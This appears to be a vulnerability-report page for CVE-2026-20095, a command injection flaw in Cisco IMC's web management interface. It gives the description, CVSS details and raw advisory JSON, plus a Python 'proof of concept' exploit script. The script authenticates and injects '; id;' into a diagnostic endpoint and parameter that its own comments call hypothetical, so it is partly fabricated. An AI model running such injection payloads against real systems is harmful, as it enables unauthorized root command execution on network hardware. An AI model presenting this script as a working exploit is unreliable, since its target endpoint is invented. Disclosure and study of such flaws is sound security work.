Security Vulnerability Report
中文
CVE-2026-20095 CVSS 6.5 MEDIUM

CVE-2026-20095

Published: 2026-04-01 17:28:30
Last Modified: 2026-04-03 16:11:11

Description

A vulnerability in the web-based management interface of Cisco IMC could allow an authenticated, remote attacker with admin-level privileges to perform command injection attacks on an affected system and execute arbitrary commands as the root user. This vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending crafted commands to the web-based management interface of the affected software. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system as the root user. Cisco has assigned this vulnerability a Security Impact Rating (SIR) of High, rather than Medium as the score indicates, because additional security implications could occur once the attacker has become root.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Cisco IMC (具体受影响版本请参考Cisco安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # Disable SSL warnings for self-signed certificates (common in management interfaces) requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) def exploit_cve_2026_20095(target_url, username, password): """ Proof of Concept for CVE-2026-20095 (Cisco IMC Command Injection). This script attempts to execute a command (e.g., 'id') as root. """ session = requests.Session() # Step 1: Authenticate to the Web Management Interface # Note: The actual login endpoint may vary depending on the specific IMC version. login_endpoint = f"{target_url}/login" login_data = { "username": username, "password": password } try: print(f"[*] Attempting to login to {login_endpoint}...") response = session.post(login_endpoint, data=login_data, verify=False, timeout=10) if response.status_code != 200 or "login failed" in response.text.lower(): print("[-] Login failed. Please check credentials.") return print("[+] Login successful.") except Exception as e: print(f"[-] Error during login: {e}") return # Step 2: Send Exploit Payload # The vulnerability exists in a specific management endpoint. # We inject a command using a semicolon (;) or similar separator. # Example parameter: 'ip_address' often used in ping/diagnostic tools. exploit_endpoint = f"{target_url}/cgi-bin/ping_test.cgi" # Hypothetical endpoint # The payload: ; id ; # # This attempts to run the 'id' command on the OS. payload = "; id;" exploit_data = { "address": payload, # Parameter name is hypothetical "count": "1" } try: print(f"[*] Sending payload to {exploit_endpoint}...") exploit_response = session.post(exploit_endpoint, data=exploit_data, verify=False, timeout=10) # Step 3: Check for Command Execution Evidence # We look for 'uid=0(root)' in the response indicating root execution. if "uid=0(root)" in exploit_response.text: print("[+] Exploit successful! Command executed as root.") print("[+] Response snippet:") print(exploit_response.text[:500]) # Print part of response else: print("[-] Exploit failed or pattern not found in response.") print("[+] Response snippet:") print(exploit_response.text[:500]) except Exception as e: print(f"[-] Error during exploit: {e}") if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} https://192.168.1.1 admin admin123") sys.exit(1) url = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2026_20095(url, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20095", "sourceIdentifier": "[email protected]", "published": "2026-04-01T17:28:29.670", "lastModified": "2026-04-03T16:11:11.357", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the web-based management interface of Cisco IMC could allow an authenticated, remote attacker with admin-level privileges to perform command injection attacks on an affected system and&nbsp;execute arbitrary commands as the root user.\r\n\r\nThis vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending crafted commands to the web-based management interface of the affected software. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system as the root user. Cisco has assigned this vulnerability a Security Impact Rating (SIR) of High, rather than Medium as the score indicates, because additional security implications could occur once the attacker has become root."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cimc-cmd-inj-3hKN3bVt", "source": "[email protected]"}]}}